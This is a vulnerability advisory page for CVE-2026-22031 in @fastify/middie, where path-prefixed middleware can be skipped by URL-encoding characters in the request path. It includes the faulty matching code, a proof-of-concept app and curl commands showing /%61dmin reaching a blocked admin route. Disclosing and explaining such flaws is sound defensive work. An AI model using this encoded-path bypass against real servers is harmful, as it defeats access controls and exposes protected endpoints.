CVE-2026-22031 is a high severity vulnerability with a CVSS score of 8.4. No known exploits currently, and patches are available.
Very low probability of exploitation
EPSS predicts the probability of exploitation in the next 30 days based on real-world threat data, complementing CVSS severity scores with actual risk assessment.
A security vulnerability exists in @fastify/middie where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., /%61dmin instead of /admin). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints.
The vulnerability is caused by how middie matches requests against registered middleware paths.
middie uses path-to-regexp to generate a regular expression for the path /admin.middie executes this regular expression against req.url (or req.originalUrl).req.url in Fastify contains the raw, undecoded path string.
/admin)./%61dmin, the regex comparison fails (/^\/admin/ does not match /%61dmin).middie assumes the middleware does not apply and calls next()./%61dmin as /admin and executes the corresponding route handler.Incriminated Source Code:
In the provided middie source:
// ... inside Holder function
if (regexp) {
const result = regexp.exec(url) // <--- 'url' is undecoded.
if (result) {
// ... executes middleware ...
} else {
that.done() // <--- Middleware skipped on mismatch
}
}
Step 1: Run the following Fastify application (save as app.js):
const fastify = require('fastify')({ logger: true });
async function start() {
// Register middie for Express-style middleware support
await fastify.register(require('@fastify/middie'));
// Middleware to block /admin route
fastify.use('/admin', (req, res, next) => {
res.statusCode = 403;
res.end('Forbidden: Access to /admin is blocked');
});
// Sample routes
fastify.get('/', async (request, reply) => {
return { message: 'Welcome to the homepage' };
});
fastify.get('/admin', async (request, reply) => {
return { message: 'Admin panel' };
});
// Start server
try {
await fastify.listen({ port: 3008 });
} catch (err) {
fastify.log.error(err);
process.exit(1);
}
}
start();
Step 2: Execute the attack.
curl http://localhost:3008/admin
# Output: Forbidden: Access to /admin is blocked
curl http://localhost:3008/%61dmin
# Output: {"message":"Admin panel"}
@fastify/middie to apply security controls (auth, rate limiting, IP filtering) to specific route prefixes.Please cite this page when referencing data from Strobes VI. Proper attribution helps support our vulnerability intelligence research.